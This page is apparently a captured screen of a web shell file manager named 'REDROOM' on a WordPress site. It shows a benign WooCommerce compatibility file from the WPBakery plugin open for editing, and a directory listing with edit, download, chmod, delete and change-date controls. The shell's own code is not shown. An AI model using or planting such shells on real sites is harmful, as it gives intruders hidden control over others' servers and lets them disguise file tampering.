REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 2.68 KB
Close
//home/nshryvcy/taramarriagebureau.com/wp-content/plugins/js_composer/include/autoload/vendors/woocommerce.php
Text
Base64
<?php /** * Backward compatibility with "Woocommerce" WordPress plugin. * * @see https://wordpress.org/plugins/woocommerce * * @since 4.4 vendors initialization moved to hooks in autoload/vendors. */ if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Add script for grid item add to card link * * @since 4.5 */ function vc_woocommerce_add_to_cart_script() { if ( 'yes' === get_option( 'woocommerce_enable_ajax_add_to_cart' ) ) { // phpcs:ignore wp_enqueue_script( 'vc_woocommerce-add-to-cart-js', vc_asset_url( 'js/vendors/woocommerce-add-to-cart.js' ), array( 'wc-add-to-cart' ), WPB_VC_VERSION ); } } /** * Add our meta box to the list of allowed meta boxes. * * @param array $allowed_meta_box_ids * * @return array */ function vc_woocommerce_tab_manager_allowed_meta_box_ids( $allowed_meta_box_ids ) { $allowed_meta_box_ids[] = 'wpb_wpbakery'; return $allowed_meta_box_ids; } add_action( 'plugins_loaded', 'vc_init_vendor_woocommerce' ); /** * Used to initialize plugin WooCommerce vendor. (adds tons of WooCommerce shortcodes and some fixes) * * @since 4.4 vendors initialization moved to hooks in autoload/vendors. */ function vc_init_vendor_woocommerce() { include_once ABSPATH . 'wp-admin/includes/plugin.php'; // Require class-vc-wxr-parser-plugin.php to use is_plugin_active() below. if ( is_plugin_active( 'woocommerce/woocommerce.php' ) || class_exists( 'WooCommerce' ) ) { require_once vc_path_dir( 'VENDORS_DIR', 'plugins/class-vc-vendor-woocommerce.php' ); $vendor = new Vc_Vendor_Woocommerce(); add_action( 'vc_before_init', array( $vendor, 'load', ), 0 ); require_once vc_path_dir( 'VENDORS_DIR', 'plugins/woocommerce/grid-item-filters.php' ); // Add 'add to card' link to the list of Add link. add_filter( 'vc_gitem_add_link_param', 'vc_gitem_add_link_param_woocommerce' ); // Filter to add link attributes for grid element shortcode. add_filter( 'vc_gitem_post_data_get_link_link', 'vc_gitem_post_data_get_link_link_woocommerce', 10, 3 ); add_filter( 'vc_gitem_post_data_get_link_target', 'vc_gitem_post_data_get_link_target_woocommerce', 12, 2 ); add_filter( 'vc_gitem_post_data_get_link_real_link', 'vc_gitem_post_data_get_link_real_link_woocommerce', 10, 4 ); add_filter( 'vc_gitem_post_data_get_link_real_target', 'vc_gitem_post_data_get_link_real_target_woocommerce', 12, 3 ); add_filter( 'vc_gitem_zone_image_block_link', 'vc_gitem_zone_image_block_link_woocommerce', 10, 3 ); add_action( 'wp_enqueue_scripts', 'vc_woocommerce_add_to_cart_script' ); // woocommerce-tab-manager wc_tab_manager_allowed_meta_box_ids compatibility. add_filter( 'wc_tab_manager_allowed_meta_box_ids', 'vc_woocommerce_tab_manager_allowed_meta_box_ids' ); } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 18
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
acf.php
1.15 KB
lrw-r--r--
2025-04-30 03:16:16
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
cf7.php
881 B
lrw-r--r--
2025-04-30 03:16:16
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
gravity_forms.php
3.82 KB
lrw-r--r--
2025-04-30 03:16:16
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
gutenberg.php
4.41 KB
lrw-r--r--
2025-04-30 03:16:16
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
jwplayer.php
766 B
lrw-r--r--
2025-04-30 03:16:16
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
layerslider.php
781 B
lrw-r--r--
2025-04-30 03:16:16
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
mqtranslate.php
791 B
lrw-r--r--
2025-04-30 03:16:16
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
ninja_forms.php
872 B
lrw-r--r--
2025-04-30 03:16:16
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
qtranslate-x.php
582 B
lrw-r--r--
2025-04-30 03:16:16
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
qtranslate.php
770 B
lrw-r--r--
2025-04-30 03:16:16
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
rank-math.php
915 B
lrw-r--r--
2025-04-30 03:16:16
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
rankmath-seo.php
1.00 KB
lrw-r--r--
2025-04-30 03:16:16
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
revslider.php
774 B
lrw-r--r--
2025-04-30 03:16:16
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
shortcode-vc-gutenberg.php
1.96 KB
lrw-r--r--
2025-04-30 03:16:16
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
woocommerce.php
2.68 KB
lrw-r--r--
2025-04-30 03:16:16
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
wordpress-com.php
926 B
lrw-r--r--
2025-04-30 03:16:16
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
wpml.php
585 B
lrw-r--r--
2025-04-30 03:16:16
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
yoast_seo.php
1.05 KB
lrw-r--r--
2025-04-30 03:16:16
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).